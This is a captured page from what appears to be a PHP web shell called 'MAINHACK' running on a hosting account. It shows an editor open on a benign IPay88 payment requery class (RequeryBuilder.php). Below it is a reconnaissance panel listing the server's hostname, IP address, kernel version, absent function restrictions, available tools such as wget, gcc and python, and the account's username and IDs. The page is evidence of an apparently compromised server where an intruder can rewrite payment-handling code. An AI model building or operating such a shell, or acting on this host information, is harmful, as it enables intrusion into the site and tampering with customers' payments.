[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: RequeryBuilder.php
<?php namespace IPay88\Requests; use IPay88\IPay88Core; use IPay88\Exceptions\BadRequestException; use IPay88\Exceptions\DailyRequeryLimitException; class RequeryBuilder extends IPay88Core { private $resultMessage; const STATUS_PAYMENT_SUCCESS = "00"; const STATUS_INVALID_PARAMETERS = "INVALID PARAMETERS"; const STATUS_RECORD_NOT_FOUND = "RECORD NOT FOUND"; const STATUS_INCORRECT_AMOUNT = "INCORRECT AMOUNT"; const STATUS_PAYMENT_FAILED = "PAYMENT FAIL"; const STATUS_FAILED_BY_IPAY88_ADMIN = "M88ADMIN"; const STATUS_REACHED_DAILY_MAXIMUM_REQUERY_NUMBER = "LIMITED BY PER DAY MAXIMUM NUMBER OF REQUERY"; protected $refNo; protected $amount; public function setRefNo($refNo){ $this->refNo = $refNo; } public function setAmount($amount){ $this->amount = number_format($amount, 2, '.', ''); } public function getResultMessage() { return $this->resultMessage; } public function handleable() : array { return [ self::STATUS_PAYMENT_SUCCESS, self::STATUS_PAYMENT_FAILED, self::STATUS_FAILED_BY_IPAY88_ADMIN, self::STATUS_RECORD_NOT_FOUND, ]; } public function submit() : string { $url = $this->requeryUrl.'?'.http_build_query([ 'MerchantCode' => $this->merchantCode, 'RefNo' => $this->refNo, 'Amount' => $this->amount ]); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Length: 0')); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $curl_result = curl_exec($ch); $upper_curl_result = strtoupper($curl_result); if($upper_curl_result == self::STATUS_REACHED_DAILY_MAXIMUM_REQUERY_NUMBER){ throw new DailyRequeryLimitException(); } if( !in_array($upper_curl_result, $this->handleable() ) ){ throw new BadRequestException($curl_result); } $this->resultMessage = $curl_result; return $curl_result; } public function isSuccess() : bool { if($this->resultMessage == null){ $this->submit(); } return strtoupper($this->resultMessage) == self::STATUS_PAYMENT_SUCCESS; } public function isFailure() : bool { if($this->resultMessage == null){ $this->submit(); } return in_array(strtoupper($this->resultMessage), [ self::STATUS_PAYMENT_FAILED, self::STATUS_FAILED_BY_IPAY88_ADMIN]); } public function recordNotFound() : bool { if($this->resultMessage == null){ $this->submit(); } return strtoupper($this->resultMessage) == self::STATUS_RECORD_NOT_FOUND; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285